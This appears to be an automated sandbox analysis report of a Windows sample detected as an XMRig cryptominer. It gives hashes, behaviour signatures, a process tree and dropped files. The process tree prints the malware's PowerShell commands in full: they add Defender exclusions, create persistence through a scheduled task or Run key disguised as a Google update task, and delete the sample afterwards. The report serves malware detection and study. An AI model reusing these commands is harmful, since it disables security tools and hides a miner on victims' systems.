Resubmissions

11/07/2023, 08:40

230711-klaqasgh6s 10

10/07/2023, 10:24

230710-mfqwfaaf7z 10

10/07/2023, 10:09

230710-l6tjkshg36 10

10/06/2023, 16:07

230610-tkv5aafc68 10

31/05/2023, 16:56

230531-vfpx5sgb87 10

31/05/2023, 16:49

230531-vbnvaagb62 10

31/05/2023, 16:48

230531-vbld6agb59 10

31/05/2023, 16:48

230531-vbjkkagb58 10

05/05/2023, 05:32

230505-f8j52age73 10

05/05/2023, 05:31

230505-f7686sae2t 10

Analysis

  • max time kernel
    589s
  • max time network
    1796s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    17/04/2023, 18:21

General

  • Target

    qM5GMXBk6hJE6Y5e.exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 31 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1280
      • C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe
        "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1996
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1948
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1760
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:1468
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1084
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:868
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
          2⤵
          • Deletes itself
          • Suspicious use of WriteProcessMemory
          PID:1000
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:1248
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2036
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1020
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:836
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:2004
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:2008
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2012
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:1596
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:940
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {10FCA529-1354-40EE-B30A-F7D5C03131B1} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1072
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1836

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • C:\Program Files\Google\Chrome\updater.exe

                Filesize

                2.0MB

                MD5

                a16a669a09bf158058b83e04e69fe38e

                SHA1

                f6c94763850d9e590d86057139e8895a7aacdeea

                SHA256

                cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

                SHA512

                658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

              • C:\Program Files\Google\Chrome\updater.exe

                Filesize

                2.0MB

                MD5

                a16a669a09bf158058b83e04e69fe38e

                SHA1

                f6c94763850d9e590d86057139e8895a7aacdeea

                SHA256

                cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

                SHA512

                658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

              • C:\Program Files\Google\Libs\g.log

                Filesize

                198B

                MD5

                37dd19b2be4fa7635ad6a2f3238c4af1

                SHA1

                e5b2c034636b434faee84e82e3bce3a3d3561943

                SHA256

                8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

                SHA512

                86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3FWL0PNA46VDLKFC6A35.temp

                Filesize

                7KB

                MD5

                177220470363f1a4e437d2922f0e4304

                SHA1

                c1fc14a3ccd1266305c508e074ff066bfcdd44a8

                SHA256

                858413c6ce830b2a1dae143a4a0324c1600937f885914dbfe19eb93b65418056

                SHA512

                056ad8b17ad96d41f3aba73b55dee5528ead82cf4c09a527f4361e2e5db56ef45acf6782ed2710828c4d0bbf453c59349f94800d4ba19430ffc4162f406b4810

              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                Filesize

                7KB

                MD5

                177220470363f1a4e437d2922f0e4304

                SHA1

                c1fc14a3ccd1266305c508e074ff066bfcdd44a8

                SHA256

                858413c6ce830b2a1dae143a4a0324c1600937f885914dbfe19eb93b65418056

                SHA512

                056ad8b17ad96d41f3aba73b55dee5528ead82cf4c09a527f4361e2e5db56ef45acf6782ed2710828c4d0bbf453c59349f94800d4ba19430ffc4162f406b4810

              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                Filesize

                7KB

                MD5

                177220470363f1a4e437d2922f0e4304

                SHA1

                c1fc14a3ccd1266305c508e074ff066bfcdd44a8

                SHA256

                858413c6ce830b2a1dae143a4a0324c1600937f885914dbfe19eb93b65418056

                SHA512

                056ad8b17ad96d41f3aba73b55dee5528ead82cf4c09a527f4361e2e5db56ef45acf6782ed2710828c4d0bbf453c59349f94800d4ba19430ffc4162f406b4810

              • \Program Files\Google\Chrome\updater.exe

                Filesize

                2.0MB

                MD5

                a16a669a09bf158058b83e04e69fe38e

                SHA1

                f6c94763850d9e590d86057139e8895a7aacdeea

                SHA256

                cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

                SHA512

                658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

              • memory/940-143-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-147-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-190-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-188-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-186-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-184-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-177-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-175-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-173-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-166-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-164-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-162-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-160-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-158-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-156-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-149-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-109-0x00000000001A0000-0x00000000001C0000-memory.dmp

                Filesize

                128KB

              • memory/940-145-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-141-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-139-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-132-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-130-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-101-0x00000000000B0000-0x00000000000D0000-memory.dmp

                Filesize

                128KB

              • memory/940-123-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-102-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-103-0x00000000001A0000-0x00000000001C0000-memory.dmp

                Filesize

                128KB

              • memory/940-104-0x00000000001C0000-0x00000000001E0000-memory.dmp

                Filesize

                128KB

              • memory/940-121-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-106-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-111-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-119-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-115-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-107-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-117-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-113-0x0000000140000000-0x00000001407F4000-memory.dmp

                Filesize

                8.0MB

              • memory/940-110-0x00000000001C0000-0x00000000001E0000-memory.dmp

                Filesize

                128KB

              • memory/1020-93-0x000000000108B000-0x00000000010C2000-memory.dmp

                Filesize

                220KB

              • memory/1020-90-0x0000000001080000-0x0000000001100000-memory.dmp

                Filesize

                512KB

              • memory/1020-91-0x0000000001080000-0x0000000001100000-memory.dmp

                Filesize

                512KB

              • memory/1020-92-0x0000000001080000-0x0000000001100000-memory.dmp

                Filesize

                512KB

              • memory/1084-81-0x0000000002690000-0x0000000002710000-memory.dmp

                Filesize

                512KB

              • memory/1084-83-0x0000000002690000-0x0000000002710000-memory.dmp

                Filesize

                512KB

              • memory/1084-82-0x0000000002690000-0x0000000002710000-memory.dmp

                Filesize

                512KB

              • memory/1760-70-0x00000000025D0000-0x0000000002650000-memory.dmp

                Filesize

                512KB

              • memory/1760-71-0x0000000002450000-0x0000000002458000-memory.dmp

                Filesize

                32KB

              • memory/1760-72-0x00000000025D4000-0x00000000025D7000-memory.dmp

                Filesize

                12KB

              • memory/1760-69-0x00000000025D0000-0x0000000002650000-memory.dmp

                Filesize

                512KB

              • memory/1760-68-0x000000001AFD0000-0x000000001B2B2000-memory.dmp

                Filesize

                2.9MB

              • memory/1760-73-0x00000000025DB000-0x0000000002612000-memory.dmp

                Filesize

                220KB

              • memory/1836-100-0x000000013F380000-0x000000013F591000-memory.dmp

                Filesize

                2.1MB

              • memory/1836-87-0x000000013F380000-0x000000013F591000-memory.dmp

                Filesize

                2.1MB

              • memory/1948-62-0x000000000269B000-0x00000000026D2000-memory.dmp

                Filesize

                220KB

              • memory/1948-60-0x0000000002320000-0x0000000002328000-memory.dmp

                Filesize

                32KB

              • memory/1948-61-0x0000000002694000-0x0000000002697000-memory.dmp

                Filesize

                12KB

              • memory/1948-59-0x000000001B0D0000-0x000000001B3B2000-memory.dmp

                Filesize

                2.9MB

              • memory/1996-75-0x000000013F080000-0x000000013F291000-memory.dmp

                Filesize

                2.1MB

              • memory/1996-54-0x000000013F080000-0x000000013F291000-memory.dmp

                Filesize

                2.1MB

              • memory/2004-112-0x0000000140000000-0x0000000140016000-memory.dmp

                Filesize

                88KB

              • memory/2004-105-0x0000000140000000-0x0000000140016000-memory.dmp

                Filesize

                88KB

              • memory/2036-89-0x000000000124B000-0x0000000001282000-memory.dmp

                Filesize

                220KB

              • memory/2036-88-0x0000000001244000-0x0000000001247000-memory.dmp

                Filesize

                12KB